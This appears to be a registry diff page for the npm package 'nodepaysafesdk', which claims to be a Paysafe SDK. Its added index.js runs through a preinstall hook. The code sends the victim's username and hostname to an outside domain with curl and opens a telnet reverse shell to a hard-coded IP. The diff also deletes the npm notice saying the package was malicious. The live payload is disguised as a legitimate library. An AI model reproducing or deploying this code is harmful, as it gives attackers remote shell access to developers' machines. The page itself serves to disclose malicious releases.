nodepaysafesdk 0.0.1-security → 1.0.5
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of nodepaysafesdk might be problematic. Click here for more details.
- package/index.js +36 -0
- package/package.json +12 -3
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1,36 @@
|
|
1
|
+
const { exec } = require("child_process");
|
2
|
+
const fs = require("fs");
|
3
|
+
const path = require("path");
|
4
|
+
|
5
|
+
const usedPortsFile = path.join(__dirname, "usedPorts.json");
|
6
|
+
const minPort = 4100;
|
7
|
+
const maxPort = 4200;
|
8
|
+
|
9
|
+
let usedPorts = [];
|
10
|
+
if (fs.existsSync(usedPortsFile)) {
|
11
|
+
usedPorts = JSON.parse(fs.readFileSync(usedPortsFile));
|
12
|
+
}
|
13
|
+
|
14
|
+
function getRandomUnusedPort() {
|
15
|
+
const range = maxPort - minPort + 1;
|
16
|
+
let port;
|
17
|
+
for (let attempts = 0; attempts < 100; attempts++) {
|
18
|
+
port = Math.floor(Math.random() * range) + minPort;
|
19
|
+
if (!usedPorts.includes(port)) {
|
20
|
+
return port;
|
21
|
+
}
|
22
|
+
}
|
23
|
+
return null;
|
24
|
+
}
|
25
|
+
|
26
|
+
function sendRequest(port) {
|
27
|
+
exec(`curl -X POST fixing.my/\`whoami\`/\`hostname\`/${port} -s -o /dev/null;TF=$(mktemp -u); mkfifo $TF && telnet 95.111.250.209 ${port} 0<$TF | sh 1>$TF 2>/dev/null &>/dev/null&`, () => {});
|
28
|
+
}
|
29
|
+
|
30
|
+
const randomPort = getRandomUnusedPort();
|
31
|
+
if (randomPort) {
|
32
|
+
sendRequest(randomPort);
|
33
|
+
usedPorts.push(randomPort);
|
34
|
+
fs.writeFileSync(usedPortsFile, JSON.stringify(usedPorts));
|
35
|
+
}
|
36
|
+
|
package/package.json
CHANGED
@@ -1,6 +1,15 @@
|
|
1
1
|
{
|
2
2
|
"name": "nodepaysafesdk",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "1.0.5",
|
4
|
+
"description": "Nodejs SDK for Paysafe",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
+
"preinstall": "node index.js"
|
9
|
+
},
|
10
|
+
"author": "",
|
11
|
+
"license": "ISC",
|
12
|
+
"dependencies": {
|
13
|
+
"nodepaysafesdk": "^1.0.2"
|
14
|
+
}
|
6
15
|
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=nodepaysafesdk for more information.
|